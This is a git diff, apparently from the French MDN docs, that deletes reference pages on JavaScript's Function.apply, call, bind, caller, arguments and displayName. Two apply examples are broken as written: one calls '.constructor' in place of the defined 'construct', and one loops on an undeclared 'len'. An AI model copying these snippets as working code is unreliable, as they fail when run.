Note : Bien que la syntaxe de cette fonction ressemble à celle de {{jsxref("Function.call", "call()")}}, elle est différente car call() accepte une liste d'arguments, tandis que apply() accepte un tableau d'arguments.
- -
Note : Quand on utilise {{jsxref("undefined")}} ou {{jsxref("null")}} comme premier argument pour cette fonction, on peut obtenir un résultat similaire avec la syntaxe de décomposition.
- -
{{EmbedInteractiveExample("pages/js/function-apply.html")}}
- - - -

Syntaxe

- -
fun.apply(thisArg, [argsArray])
- -

Paramètres

- -
-
thisArg
-
La valeur de this fournie pour l'appel à la fonction fun. On notera que, sous certaines conditions, this peut ne pas être la valeur exacte vue par la méthode : si la méthode est une fonction utilisée en mode {{jsxref("Strict_mode", "mode non-strict", "", 1)}}, {{jsxref("null")}} et {{jsxref("undefined")}} seront remplacées par l'objet global, et les valeurs primitives seront encapsulées. Cet argument n'est pas optionnel.
-
argsArray
-
Un objet semblable à un tableau qui définit les arguments avec lesquel fun devrait être appelée, ou {{jsxref("null")}} ou {{jsxref("undefined")}} si aucun argument n'est passé à la fonction. Avec ECMAScript 5, ces arguments peuvent être représentés par un objet semblable un tableau. Voir ci-après pour plus d'informations sur la compatibilité des navigateurs.
-
- -

Valeur de retour

- -

Le résultat obtenu en appelant la fonction avec la valeur this indiquée et les arguments fournis.

- -

Description

- -

Il est possible d'utiliser un objet this différent lors de l'appel à une fonction existante. this fait référence à l'objet courant, l'objet appelant. Avec apply, on peut écrire une méthode une seule fois et en hériter dans un autre objet, sans avoir à la réécrire dans le nouvel objet.

- -

apply est similaire à {{jsxref("Function.call", "call()")}}, hormis pour le type d'arguments supporté. Il est possible d'utiliser un tableau à la place d'un ensemble de paramètres. Avec apply, il est également possible d'utiliser un littéral de tableau, par exemple, fun.apply(this, ['manger', 'bananes']), ou un objet {{jsxref("Array")}}, par exemple, fun.apply(this, new Array('manger', 'bananes')).

- -

On peut aussi passer {{jsxref("Fonctions/arguments", "arguments ")}} en tant que paramètre argsArray. arguments étant une variable locale à la fonction. Celle-ci peut également être utilisée pour tous les arguments non spécifiés de l'objet appelé. Ainsi, il n'est pas nécessaire de connaître les arguments de l'objet appelé lors d'un appel à la méthode apply. arguments peut être utilisé pour passer tous les arguments à l'objet appelé. L'objet appelé gèrera alors la manipulation des arguments.

- -

Depuis la cinquième édition d'ECMAScript, il est possible d'utiliser des objet semblables à des tableaux à la place. En pratique tout objet possédant une propriété length et une propriété entière comprise entre [0..length[ est un objet semblable à un tableau. On peut ainsi, par exemple, utiliser un objet {{domxref("NodeList")}} ou un objet quelconque comme {'length': 2, '0': 'manger', '1': 'bananes'}.

- -
-

Note : Beaucoup de navigateurs, y compris Chrome 14 et Internet Explorer 9 n'acceptent pas encore un objet semblable à un tableau, ils déclencheront un exception.

-
- -

Exemples

- -

Utiliser apply pour chaîner des constructeurs

- -

Il est possible d'utiliser apply afin de chaîner les {{jsxref("Opérateurs/L_opérateur_new", "constructeurs","",1)}} d'un objet, de façon sembable au chaînage utilisé en java. Dans l'exemple suivant, on crée une {{jsxref("Function")}} globale appelée construct, qui permet d'utiliser un objet de type Array associé à un constructeur au lieu d'une liste d'arguments.

- -
Function.prototype.construct = function (aArgs) {
-  var nouvelObjet = Object.create(this.prototype);
-  this.apply(nouvelObjet, aArgs);
-  return nouvelObjet;
-};
-
- -
-

Note : La méthode {{jsxref("Object.create()")}} utilisée ci-avant est relativement nouvelle. Pour une autre méthode qui utilise les closure, on pourra utiliser :

- -
Function.prototype.construct = function(aArgs) {
-  var fConstructeur = this, fNouveauConstructeur = function() {
-    fConstructeur.apply(this, aArgs);
-  };
-  fNouveauConstructeur.prototype = fConstructeur.prototype;
-  return new fNouveauConstructeur();
-};
-
- -

Exemple d'utilisation :

- -
function MonConstructeur () {
-    for (var nProp = 0; nProp < arguments.length; nProp++) {
-        this["propriété" + nProp] = arguments[nProp];
-    }
-}
-
-var monTableau = [4, "Coucou monde !", false];
-var monInstance = MonConstructeur.constructor(monTableau);
-
-console.log(monInstance.propriété1); // "Coucou monde !"
-console.log(monInstance instanceof MonConstructeur); // "true"
-console.log(monInstance.constructor); // "MonConstructeur"
-
- -
-

Note : On pourrait également utiliser {{jsxref("Object/__proto__", "Object.__proto__")}}

- -
Function.prototype.construct = function (aArgs) {
-  var oNew = {};
-  oNew.__proto__ = this.prototype;
-  this.apply(oNew, aArgs);
-  return oNew;
-};
-
- -

ou encore le constructeur {{jsxref("Function")}} :

- -
Function.prototype.construct = function (aArgs) {
-  var fNewConstr = new Function("");
-  fNewConstr.prototype = this.prototype;
-  var oNew = new fNewConstr();
-  this.apply(oNew, aArgs);
-  return oNew;
-};
-
-
- -
Note : Attention, cette méthode non-native Function.construct ne fonctionnera pas avec certains contructeurs natifs (tels que {{jsxref("Date", "Date")}}). Dans ce cas précis, on peut utiliser la méthode {{jsxref("Function.bind")}} (pour exemple, si on prend le tableau suivant [2012, 11, 4] utilisé sur le constructeur de l'objet Date : on peut écrire ceci : new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))() – cependant cela reste une pratique à éviter si possible et à ne pas utiliser en dans un environnement de production).
- -

Utiliser apply et des fonctions natives

- -

Un usage singulier de apply permet d'appeler des fonctions natives pour réaliser par exemple des tâches qui autrement auraient nécessité une boucle sur toutes les valeurs d'un tableau. Pour illustrer ce concept, on prend l'exemple de Math.max/Math.min qui permettent d'extraire la valeur maximum/minimale de notre tableau.

- -
/* min/max tableau de nombres */
-var nombres = [5, 6, 2, 3, 7];
-
-/* usage de Math.min/Math.max et de la méthode apply */
-var max = Math.max.apply(null, nombres);
-/* Equivalent à Math.max(nombres[0], ...)
-  ou Math.max(5, 6, ..) */
-
-var min = Math.min.apply(null, nombres);
-
-/* vs. algorithme trivial avec une boucle */
-max = -Infinity, min = +Infinity;
-
-for (var i = 0; i < nombres.length; i++) {
-  if (nombres[i] > max)
-    max = nombres[i];
-  if (nombres[i] < min)
-    min = nombres[i];
-}
- -

Note : l'utilisation de apply peut provoquer l'atteinte du seuil limite du nombres d'arguments supporté par le moteur Javascript. Les conséquences de cette utilisation abusive (on évoque plus de 10000 arguments) peuvent varier selon les moteurs Javascript (JavaScript contient une limite en dur de 65536), car une liberté subsiste quant à l'implémentation du moteur. Des moteurs lèveront une exception si le seuil est atteint. Il est donc préférable d'apporter une attention toute particulière au nombre d'arguments passés. (Illustrerons ce cas dans l'exemple suivant avec un moteur factice capable de ne gérer que 4 arguments au maximum (les limites natives sont, bien sûr, plus élevées), et reprenons les arguments de l'exemple précédent 5, 6, 2, 3 passés à la méthode apply plutôt que notre tableau entier.) Imaginons que notre tableau soit progressivement peuplé de milliers d'éléments, une stratégie spécifique devra être appliquée, par exemple en appliquant la méthode apply sur des portions du tableau:

- -
function minimumDuTableau(tab) {
-  var min = Infinity;
-  var QUANTUM = 32768;
-
-  for (var i = 0, longueur = tab.length; i < len; i += QUANTUM) {
-    var submin = Math.min.apply(null,
-                                tab.slice(i, Math.min(i + QUANTUM, longueur)));
-    min = Math.min(submin, min);
-  }
-
-  return min;
-}
-
-var min = minimumDuTableau([5, 6, 2, 3, 7]);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.apply")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Fonctions/arguments", "arguments")}}
    • -
  • {{jsxref("Function.prototype.bind()")}}
    • -
  • {{jsxref("Function.prototype.call()")}}
    • -
  • {{jsxref("Fonctions", "Les fonctions et portées de fonctions", "", 1)}}
    • -
  • {{jsxref("Reflect.apply()")}}
    • -
  • La syntaxe de décomposition permettant d'exploser un tableau
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/arguments/index.html b/files/fr/web/javascript/reference/objets_globaux/function/arguments/index.html deleted file mode 100644 index 13bfc16dd3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/arguments/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Function.arguments -slug: Web/JavaScript/Reference/Objets_globaux/Function/arguments -tags: - - Déprécié - - Function - - JavaScript - - Propriété - - Reference - - arguments -translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments ---- -
{{JSRef}} {{Deprecated_header}}
- -

La propriété function.arguments fait référence à un objet dont la structure est semblable à celle d'un tableau dont les éléments correspondent aux arguments passés à une fonction. En lieu et place, il faut désormais utiliser {{jsxref("Fonctions/arguments", "arguments")}}. Cette propriété est interdite en mode stricte à cause de l'optimisation de la queue des appels (tail call optimization).

- -

Description

- -

La syntaxe function.arguments est obsolète.  La méthode recommandée pour accéder à l'objet {{jsxref("Fonctions/arguments", "arguments")}} disponible au sein des fonctions est simplement de faire référence à la variable {{jsxref("Fonctions/arguments", "arguments")}}.

- -

Si on utilise la récursivité (autrement dit si une fonction f apparaît plusieurs fois dans la pile d'appels ou encore qu'une fonction f s'appelle elle-même), la valeur de f.arguments représentera les arguments correspondant à l'appel le plus « récent » de la fonction.

- -

La valeur de la propriété arguments est normalement null si la fonction n'est pas « en cours » (au sens où elle aurait été appelée et qu'elle n'ait pas fini son exécution).

- -

Exemples

- -
function f(n) { g(n-1); }
-
-function g(n) {
-  console.log("avant : " + g.arguments[0]);
-  if(n>0) f(n);
-  console.log("après : " + g.arguments[0]);
-}
-
-f(2);
-
-console.log("fonction terminée : " + g.arguments);
-
-// On aura l'affichage de :
-
-// avant : 1
-// avant : 0
-// après : 0
-// après : 1
-// fonction terminée : null
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0. Dépréciée pour être remplacée par {{jsxref("Fonctions/arguments", "arguments")}} décrit par ES3.
{{SpecName('ES5.1', '#sec-10.6', 'arguments object')}}{{Spec2('ES5.1')}}Objet {{jsxref("Fonctions/arguments", "arguments")}}
{{SpecName('ES6', '#sec-arguments-object', 'arguments object')}}{{Spec2('ES6')}}Objet {{jsxref("Fonctions/arguments", "arguments")}}
{{SpecName('ESDraft', '#sec-arguments-object', 'arguments object')}}{{Spec2('ESDraft')}}Objet {{jsxref("Fonctions/arguments", "arguments")}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.arguments")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Fonctions/arguments", "arguments")}}
    • -
  • {{jsxref("Fonctions", "Les fonctions et les portées de fonctions", "", 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/bind/index.html b/files/fr/web/javascript/reference/objets_globaux/function/bind/index.html deleted file mode 100644 index dd214fe306..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/bind/index.html +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: Function.prototype.bind() -slug: Web/JavaScript/Reference/Objets_globaux/Function/bind -tags: - - ECMAScript 2015 - - ECMAScript 5 - - Function - - JavaScript - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind ---- -
{{JSRef}}
- -

La méthode bind() crée une nouvelle fonction qui, lorsqu'elle est appelée, a pour contexte this la valeur passée en paramètre et éventuellement une suite d'arguments qui précéderont ceux fournis à l'appel de la fonction créée.

- -
{{EmbedInteractiveExample("pages/js/function-bind.html", "taller")}}
- - - -

Syntaxe

- -
let boundFunc = func.bind(thisArg[, arg1[, arg2[, ...]]])
- -

Paramètres

- -
-
thisArg
-
La valeur que l'on doit passer est le paramètre this de la fonction cible func quand la fonction est appelée. La valeur est ignorée si la fonction liée est construite en utilisant l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Lorsque vous utilisez bind pour créer une fonction (fournie comme un rappel) dans un setTimeout, toute valeur primitive passée comme thisArg est convertie en objet. Si aucun argument n'est fourni dans bind, le this de cette fonction est traité comme le thisArg de la nouvelle fonction.
-
arg1, arg2, ... {{optional_inline}}
-
Arguments à faire précéder aux arguments fournis à la fonction liée lors de l'invocation de func.
-
- -

Valeur de retour

- -

Une copie de la fonction fournie avec la valeur this indiquée et les arguments initiaux fournis.

- -

Description

- -

La fonction bind() crée une nouvelle fonction liée, qui est un objet de fonction exotique (un terme de l'ECMAScript 2015) qui enveloppe l'objet de fonction original. L'appel de la fonction liée entraîne généralement l'exécution de sa fonction enveloppée.

- -

Une fonction liée possède les propriétés internes suivantes :

- -
-
[[BoundTargetFunction]]
-
L'objet de fonction enveloppé
-
[[BoundThis]]
-
La valeur qui est toujours transmise est la valeur this lors de l'appel de la fonction enveloppée.
-
[[BoundArguments]]
-
Une liste de valeurs dont les éléments sont utilisés comme premiers arguments pour tout appel à la fonction enveloppée.
-
[[Call]]
-
Exécute le code associé à cet objet. Invoqué par une expression d'appel de fonction. Les arguments de la méthode interne sont constitués d'une valeur this et d'une liste contenant les arguments passés à la fonction par une expression d'appel.
-
- -

Lorsqu'une fonction liée est appelée, elle appelle la méthode interne [[Call]] dans [[BoundTargetFunction]], avec les arguments suivants Call(boundThis, ...args). Là où boundThis est [[BoundThis]], args est [[BoundArguments]], suivi des arguments passés par l'appel de fonction.

- -

Une fonction liée peut également être construite à l'aide de l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Ce faisant, on agit comme si la fonction cible avait été construite. La valeur fournie this est ignorée, tandis que des arguments préparés sont fournis à la fonction émulée.

- -

Exemples

- -

Créer une fonction liée

- -

La façon la plus simple d'utiliser bind()est de faire une fonction qui, peu importe la façon dont elle est appellée, le sera avec une certaine valeur this donnée.

- -

Une erreur courante lorsqu'on débute en JavaScript est d'extraire une méthode d'un objet, puis plus tard d'appeler cette méthode depuis un objet et de s'attendre à utiliser l'objet original en tant que valeur de this (par exemple en utilisant cette méthode dans un callback). Sans précaution, cependant, l'objet original est perdu. Créer une fonction liée depuis la méthode, en utilisant l'objet original, résout simplement le problème :

- -
this.x = 9; // en dehors de tout contexte,
-            // pour un navigateur, this est
-            // l'objet window
-var module = {
-  x: 81,
-  getX: function() { return this.x; }
-};
-
-module.getX(); // 81
-
-var getX = module.getX;
-getX(); // 9, car ici, this fait référence à l'objet global
-
-// On crée une nouvelle fonction à laquelle on lie module en
-// tant que 'this'
-var boundGetX = getX.bind(module);
-boundGetX(); // 81
-
- -

Fonctions partiellement appliquées

- -

Dans l'exemple suivant, on utilise bind() afin de créer une fonction avec des arguments initiaux prédéfinis. Ces arguments, s'il y en a, suivent le this fourni et sont ensuite insérés au début des arguments passés à la fonction cible, suivis par les arguments passés à la fonction liée au moment où celle-ci est appelée.

- -
function list() {
-  return Array.prototype.slice.call(arguments);
-}
-
-var list1 = list(1, 2, 3); // [1, 2, 3]
-
-// Créer une fonction avec un argument prédéfini
-var leadingThirtysevenList = list.bind(null, 37);
-
-var list2 = leadingThirtysevenList(); // [37]
-var list3 = leadingThirtysevenList(1, 2, 3); // [37, 1, 2, 3]
-
-
-function sommeArguments(arg1, arg2){
-  return arg1 + arg2;
-}
-
-var ajouter37 = sommeArguments.bind(null, 37);
-
-var resultat = ajouter37(5); // 37 + 5 = 42
-
- -

Utiliser bind avec setTimeout

- -

Par défaut à l'intérieur de {{domxref("window.setTimeout()")}}, le mot-clé this sera attribué à l'objet {{domxref("window")}} (ou l'objet global). Lorsqu'on travaille avec des méthodes de classe utilisant this qui se réfère à l'instance, on peut lier this de façon explicite afin d'être certain de manipuler l'instance.

- -
function Fleur() {
-  this.nbPétales = Math.floor( Math.random() * 12 ) + 1;
-}
-
-// On déclare floraison après un délai d'une seconde
-Fleur.prototype.floraison = function() {
-  window.setTimeout( this.declare.bind( this ), 1000 );
-};
-
-Fleur.prototype.declare = function() {
-  console.log('Je suis une fleur avec ' +
-     this.nbPétales + ' pétales !');
-};
-
-var fleur = new Fleur();
-fleur.floraison();
-// Après environ 1 seconde, on déclenche la méthode declare
-
- -

Les fonctions liées utilisées en tant que constructeurs

- -
-

Attention : Cette section illustre des capacités marginales et des cas aux limites concernant l'usage de la méthode bind(). Les méthodes montrées ci-après ne sont pas les façons les plus propres de faire les choses et ne devraient pas être utilisées en production.

-
- -

Les fonctions liées sont automatiquement disponibles à l'usage pour toutes les instances initialisées avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur la fonction cible. Quand une fonction liée est utilisée pour construire une valeur, le this fourni est ignoré. Cependant, les arguments fournis sont toujours préremplis lors de l'appel au constructeur :

- -
function Point(x, y) {
-  this.x = x;
-  this.y = y;
-}
-
-Point.prototype.toString = function() {
-  return this.x + "," + this.y;
-};
-
-var p = new Point(1, 2);
-p.toString(); // "1,2"
-
-
-var emptyObj = {};
-var YAxisPoint = Point.bind(emptyObj, 0 /* x */);
-// non supporté dans le polyfill ci dessous,
-// fonctionne avec le bind natif :
-var YAxisPoint = Point.bind(null,0 /* x */);
-
-var axisPoint = new YAxisPoint(5);
-axisPoint.toString(); //  "0,5"
-
-axisPoint instanceof Point; // true
-axisPoint instanceof YAxisPoint; // true
-new Point(17, 42) instanceof YAxisPoint; // false
-
- -

On notera qu'il n'y a rien à faire de particulier pour pouvoir utiliser {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur votre fonction liée. Le corollaire est qu'il n'y a rien à faire de plus pour créer une fonction liée qui soit appelée sans préfixe, même s'il est préférable d'appeler une fonction liée uniquement avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

- -
// Cet exemple fonctionne dans votre console JavaScript
-// ...(sous réserve d'avoir utilisé le code précédent)
-
-// Peut toujours être appelé comme une fonction normale
-// (même si ce n'est généralement pas l'effet )
-YAxisPoint(13);
-
-emptyObj.x + "," + emptyObj.y; // "0,13"
-
- -

Si on souhaite supporter le cas où la fonction liée  d'une fonction liée en utilisant seulement new, ou juste en l'appellant, la fonction cible doit outrepasser cette restriction.

- -

Créer des raccourcis

- -
-

bind() est également utile dans les cas où on souhaite créer un raccourci vers une fonction qui requiert un this ayant une certaine valeur.

- -

Si, par exemple, on considère la fonction {{jsxref("Array.prototype.slice")}} et qu'on souhaite l'utiliser pour convertir un objet semblable à un tableau en un objet array, on peut créer un raccourci de cette façon :

- -
var slice = Array.prototype.slice;
-
-// ... un peu plus loin
-
-slice.apply(arguments);
- -

Avec bind(), il est possible de simplifier cela. Dans l'exemple qui suit slice est une fonction liée à la fonction {{jsxref("Function.prototype.apply()", "apply()")}} de Function.prototype, et this défini en tant que fonction {{jsxref("Array.prototype.slice()", "slice()")}} de {{jsxref("Array.prototype")}}. Cela signifie que les appels à la méthode apply() peuvent être éliminés :

- -
// pareil que "slice" dans l'exemple précédent
-var unboundSlice = Array.prototype.slice;
-var slice = Function.prototype.apply.bind(unboundSlice);
-
-// ...
-
-slice(arguments);
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}{{Spec2('ES5.1')}}Définition initiale.
- Implémentée avec JavaScript 1.8.5
{{SpecName('ES2015', '#sec-function.prototype.apply', 'Function.prototype.bind')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.bind")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Function.prototype.apply()")}}
    • -
  • {{jsxref("Function.prototype.call()")}}
    • -
  • {{jsxref("Fonctions", "Fonctions et portées de fonctions", "", 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/call/index.html b/files/fr/web/javascript/reference/objets_globaux/function/call/index.html deleted file mode 100644 index b419b7eca6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/call/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Function.prototype.call() -slug: Web/JavaScript/Reference/Objets_globaux/Function/call -tags: - - Function - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/call ---- -
{{JSRef}}
- -

La méthode call() réalise un appel à une fonction avec une valeur this donnée et des arguments fournis individuellement.

- -
Note : Bien que la syntaxe de cette fonction ressemble à celle de {{jsxref("Function.apply", "apply()")}}, la différence fondamentale réside dans le fait que call() accepte une liste d'arguments, tandis que la méthode apply() accepte un unique tableau d'arguments.
- -
{{EmbedInteractiveExample("pages/js/function-call.html")}}
- - - -

Syntaxe

- -
fun.call(thisArg[, arg1[, arg2[, ...]]])
- -

Paramètres

- -
-
thisArg
-
La valeur this fournie pour l'appel de la fonction fun. La valeur peut être différente de celle normalement perçue par la méthode : si la méthode est une fonction utilisée dans un code en {{jsxref("Fonctions/Strict_mode", "mode non-strict", "", 1)}}, {{jsxref("null")}} and {{jsxref("undefined")}} seront remplacés par l'objet global et les valeurs primitives seront encapsulées en objets.
-
arg1, arg2, ...
-
Les arguments pour la fonction.
-
- -

Valeur de retour

- -

Le résultat de l'appel de la fonction invoquée avec la valeur this indiquée et les arguments fournis.

- -

Description

- -

La méthode call() permet d'appeler une fonction rattachée à un objet donné sur un autre objet.

- -

Il est possible d'affecter un objet this différent lors de l'appel à une fonction existante. En général, this fait référence à l'objet courant, celui sur lequel est appelée la méthode. Avec call, on peut écrire une méthode une seule fois et ensuite en hériter dans un autre objet, sans avoir à réécrire cette méthode pour ce nouvel objet.

- -

Exemples

- -

Utiliser call() pour chaîner le constructeur d'un objet.

- -

Il est possible d'utiliser call pour chaîner le constructeur d'un objet, de façon similaire à Java. Dans l'exemple suivant, le constructeur de l'objet Product est défini avec deux paramètres, name et price. Deux autres fonctions, Food et Toy invoquent Product en passant this, name et price. Product initialise les propriétés name et price, tandis que les fonctions spécialisées définissent la propriété category.

- -
function Product(name, price) {
-  this.name = name;
-  this.price = price;
-}
-
-function Food(name, price) {
-  Product.call(this, name, price);
-  this.category = 'food';
-}
-
-function Toy(name, price) {
-  Product.call(this, name, price);
-  this.category = 'toy';
-}
-
-var cheese = new Food('feta', 5);
-var fun = new Toy('robot', 40);
-
- -

Utiliser call() pour invoquer une fonction anonyme

- -

Dans cet exemple (purement inventé), on crée une fonction anonyme et on utilise call pour l'invoquer sur chaque objet d'un tableau. Le principal but de cette fonction anonyme est d'ajouter une fonction print sur chaque élément qui permet d'afficher l'index de l'objet. Le passage de l'objet en tant que valeur this n'était pas nécessaire, mais il permet d'expliquer le sujet.

- -
var animaux = [
-  {espece: 'Lion', nom: 'Roi'},
-  {espece: 'Éléphant', nom: 'Dumbo'}
-];
-
-for (var i = 0; i < animaux.length; i++) {
-  (function (i) {
-    this.print = function () {
-      console.log('#' + i  + ' ' + this.espece + ' : ' + this.nom);
-    }
-    this.print();
-  }).call(animaux[i], i);
-}
-
- -

Utiliser call() pour appeler une fonction avec un objet pour this

- -

Dans l'exemple qui suit, on utilise la méthode call() sur la fonction saluer() afin de l'appliquer à l'objet personne1 :

- -
function saluer() {
-  var reponse = [this.nom, "est un", this.role, "."].join(" ");
-  console.log(reponse);
-}
-
-var personne1 = {
-  nom: "Sénèque",
-  role: "philosophe"
-};
-
-saluer.call(personne1); // Sénèque est un philosophe.
-
- -

Utiliser call() pour appeler une fonction sans indiquer de premier argument

- -

Dans l'exemple qui suit, on appelle la fonction afficher() sans lui passer d'argument. C'est donc l'objet global qui est utilisé comme contexte :

- -
var prenom = 'Archibald';
-
-function afficher() {
-  console.log('prenom vaut ' + this.prenom);
-}
-
-afficher.call(); // prenom est Archibald
- -
-

Note : La valeur de this sera {{jsxref("undefined")}} en mode strict.

- -
'use strict';
-
-var prenom = 'Archibald';
-
-function afficher() {
-  console.log('prenom vaut ' + this.prenom);
-}
-
-afficher.call(); // Cannot read the property prenom' of undefined
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.call")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/function/caller/index.html b/files/fr/web/javascript/reference/objets_globaux/function/caller/index.html deleted file mode 100644 index 9956ad14ee..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/caller/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Function.caller -slug: Web/JavaScript/Reference/Objets_globaux/Function/caller -tags: - - Function - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété function.caller renvoie la fonction qui a appelé la fonction donnée. Cette propriété est interdite en mode strict.

- -

Description

- -

Si la fonction f a été invoquée par du code situé au plus haut niveau, la valeur de f.caller sera {{jsxref("null")}}, sinon, ce sera la fonction qui a appelé f.

- -

Cette propriété remplace la propriété obsolète {{jsxref("Fonctions/arguments/caller", "arguments.caller")}} de l'objet {{jsxref("Fonctions/arguments", "arguments")}}.

- -

La propriété spéciale __caller__ qui renvoyait l'objet qui dans lequel était fait l'appel a été supprimée pour des raisons de sécurités.

- -

Notes

- -

Dans une fonction récursive, cette propriété ne peut pas être utilisée pour reconstituer la pile d'appels (call stack). Par exemple, si on a :

- -
function f(n) { g(n - 1); }
-function g(n) { if (n > 0) { f(n); } else { stop(); } }
-f(2);
-
- -

Au moment où stop() est appelé, la pile sera :

- -
f(2) -> g(1) -> f(1) -> g(0) -> stop()
-
- -

Et ceci est vrai :

- -
stop.caller === g && f.caller === g && g.caller === f
-
- -

Donc si on essaie d'obtenir la pile de cette façon :

- -
var f = stop;
-var stack = 'Stack trace:';
-while (f) {
-  stack += '\n' + f.name;
-  f = f.caller;
-}
-
- -

la boucle ne s'arrêterait jamais.

- -

Exemples

- -

Vérifier la valeur de la propriété caller

- -

Dans l'exemple suivant, on verifie la propriété caller de la fonction.

- -
function maFonction() {
-  if (maFonction.caller == null) {
-    return 'Fonction appelée au plus haut niveau !';
-  } else {
-    return 'Fonction appelée par ' + maFonction.caller;
-  }
-}
-
- -

Spécifications

- -

Ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.5.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.caller")}}

- -

Voir aussi

- -
    -
  • Le bug d'implémentation pour SpiderMonkey {{bug(65683)}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/displayname/index.html b/files/fr/web/javascript/reference/objets_globaux/function/displayname/index.html deleted file mode 100644 index dc9f7fc870..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/displayname/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Function.displayName -slug: Web/JavaScript/Reference/Objets_globaux/Function/displayName -tags: - - Function - - JavaScript - - Non-standard - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName ---- -
{{JSRef}} {{Non-standard_header}}
- -

La propriété function.displayName renvoie le nom affiché de la fonction.

- -

Description

- -

Lorsque la propriété displayName est définie, elle renvoie le nom affiché de la fonction :

- -
function faireTruc() { }
-
-console.log(faireTruc.displayName); // "undefined"
-
-var logMessage = function(contenu) { console.log(contenu) };
-
-logMessage.displayName = 'Afficher les messages dans le journal';
-
-console.log(logMessage.displayName); // "Afficher les messages dans le journal"
-
- -

Il est possible de définir une fonction avec un nom d'affichage grâce à une {{jsxref("Fonctions", "expression de fonctions","",1)}}:

- -
var objet = {
-  uneMéthode: function () {}
-};
-
-objet.uneMéthode.displayName = 'uneMéthode';
-
-console.log(objet.uneMéthode.displayName);
-// "uneMéthode"
-
-try { uneMéthode } catch(e) { console.log(e); }
-// ReferenceError: uneMéthode is not defined
-
- -

La propriété displayName peut être changée dynamiquement :

- -
var objet = {
-  // anonyme
-  uneMéthode: function(valeur) {
-    this.displayName = "uneMéthode (" + valeur + ")";
-  }
-};
-
-console.log(objet.uneMéthode.displayName); // "undefined"
-
-objet.uneMéthode("123")
-console.log(objet.uneMéthode.displayName); // "uneMéthode (123)"
-
- -

Exemples

- -

On souhaite généralement utiliser cette propriété dans les consoles et profileurs plutôt que {{jsxref("Function.name", "func.name")}}

- -

Le code suivant devrait afficher quelque chose comme "function Ma Fonction()":

- -
var a = function () { };
-a.displayName = 'Ma Fonction';
-
-a;
-
- -

Spécifications

- -

N'appartient à aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.displayName")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/function/index.html b/files/fr/web/javascript/reference/objets_globaux/function/index.html deleted file mode 100644 index 01c2a34869..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Function -slug: Web/JavaScript/Reference/Objets_globaux/Function -tags: - - Constructor - - Function - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function ---- -
{{JSRef}}
- -

Le constructeur Function crée un nouvel objet Function. En JavaScript, chaque fonction est un objet Function.

- -

